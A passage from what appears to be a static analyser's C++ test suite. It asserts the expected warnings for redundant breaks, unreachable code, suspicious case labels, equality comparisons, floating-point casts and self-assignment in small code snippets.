&settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 